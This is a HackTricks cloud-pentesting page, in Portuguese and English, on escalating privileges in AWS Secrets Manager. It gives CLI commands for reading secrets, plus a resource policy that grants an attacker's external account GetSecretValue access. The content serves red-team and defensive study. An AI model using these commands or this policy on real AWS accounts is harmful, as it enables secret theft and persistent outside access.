AWS - Secrets Manager Privesc
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
Secrets Manager
Para mais informações sobre Secrets Manager, consulte:
secretsmanager:GetSecretValue
Um atacante com essa permissão pode obter o valor salvo dentro de um segredo no AWS Secretsmanager.
aws secretsmanager get-secret-value --secret-id <secret_name> # Get value
Impacto Potencial: Acesso a dados altamente sensíveis dentro do serviço AWS Secrets Manager.
Warning
Observe que mesmo com a permissão
secretsmanager:BatchGetSecretValue, um atacante também precisaria desecretsmanager:GetSecretValuepara recuperar os segredos sensíveis.
secretsmanager:GetResourcePolicy, secretsmanager:PutResourcePolicy, (secretsmanager:ListSecrets)
Com as permissões anteriores, é possível dar acesso a outros principals/accounts (inclusive externos) para acessar o secret. Observe que, para read secrets encrypted com uma KMS key, o usuário também precisa ter access over the KMS key (more info in the KMS Enum page).
aws secretsmanager list-secrets
aws secretsmanager get-resource-policy --secret-id <secret_name>
aws secretsmanager put-resource-policy --secret-id <secret_name> --resource-policy file:///tmp/policy.json
policy.json:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": "secretsmanager:GetSecretValue",
"Resource": "*"
}
]
}
Tip
Aprenda e pratique AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoie o HackTricks
- Check the subscription plans!
- Participe do 💬 Discord group ou do telegram group ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe hacking tricks enviando PRs para os HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

